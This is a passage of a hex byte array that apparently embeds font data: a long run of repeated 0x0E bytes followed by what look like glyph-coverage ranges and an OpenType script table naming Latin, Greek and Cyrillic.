0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, + 0x0E, 0x0E, 0x0E, 0x0E, 0x0E, 0xE1, 0x14, 0x8B, + 0x15, 0x75, 0xA1, 0xF9, 0x14, 0x9B, 0xFB, 0x75, + 0xA1, 0xF7, 0x3E, 0x98, 0xBC, 0x9B, 0xFB, 0x7D, + 0xA1, 0x06, 0xFB, 0x89, 0x9C, 0x07, 0x75, 0xA1, + 0xF9, 0x1D, 0xA0, 0xFB, 0x81, 0xA1, 0xF7, 0x3C, + 0x9C, 0xC8, 0x9E, 0xFB, 0x99, 0xA1, 0x08, 0xFB, + 0x9F, 0xA1, 0x09, 0x1E, 0x0A, 0x04, 0x37, 0x91, + 0x7F, 0x0C, 0x09, 0x8B, 0x0C, 0x0A, 0xA9, 0x0A, + 0xF7, 0x03, 0x0B, 0x8C, 0x0C, 0x0E, 0x1E, 0x0A, + 0x06, 0xFF, 0x0C, 0x12, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x0E, 0x00, 0x00, 0x00, 0x9C, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x02, 0x00, 0x17, 0x00, 0x01, + 0x00, 0xAC, 0x00, 0x01, 0x00, 0xAD, 0x00, 0xAF, + 0x00, 0x02, 0x00, 0xB0, 0x80, 0x92, 0x00, 0x01, + 0x80, 0x93, 0x80, 0x94, 0x00, 0x02, 0x80, 0x95, + 0x80, 0x95, 0x00, 0x01, 0x80, 0x96, 0x80, 0x96, + 0x00, 0x02, 0x80, 0x97, 0x80, 0xD6, 0x00, 0x01, + 0x80, 0xD7, 0x80, 0xD9, 0x00, 0x02, 0x80, 0xDA, + 0x80, 0xE3, 0x00, 0x01, 0x80, 0xE4, 0x80, 0xEA, + 0x00, 0x02, 0x80, 0xEB, 0x80, 0xEB, 0x00, 0x01, + 0x80, 0xEC, 0x80, 0xED, 0x00, 0x02, 0x80, 0xEE, + 0x80, 0xEE, 0x00, 0x01, 0x80, 0xEF, 0x80, 0xEF, + 0x00, 0x02, 0x80, 0xF0, 0x80, 0xFA, 0x00, 0x01, + 0x80, 0xFB, 0x81, 0x02, 0x00, 0x02, 0x81, 0x03, + 0x81, 0x2C, 0x00, 0x01, 0x81, 0x2D, 0x81, 0x2D, + 0x00, 0x02, 0x81, 0x2E, 0x9A, 0xD7, 0x00, 0x01, + 0x9A, 0xD8, 0x9A, 0xD8, 0x00, 0x02, 0x9A, 0xD9, + 0x9A, 0xDA, 0x00, 0x01, 0x9A, 0xDB, 0x9A, 0xDE, + 0x00, 0x02, 0x9A, 0xDF, 0x9F, 0xD3, 0x00, 0x01, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x0A, 0x01, 0x26, + 0x02, 0x42, 0x00, 0x04, 0x44, 0x46, 0x4C, 0x54, + 0x00, 0x1A, 0x63, 0x79, 0x72, 0x6C, 0x00, 0x50, + 0x67, 0x72, 0x65, 0x6B, 0x00, 0x8C, 0x6C, 0x61, + 0x74, 0x6E, 0x00, 0xC2, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x16, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 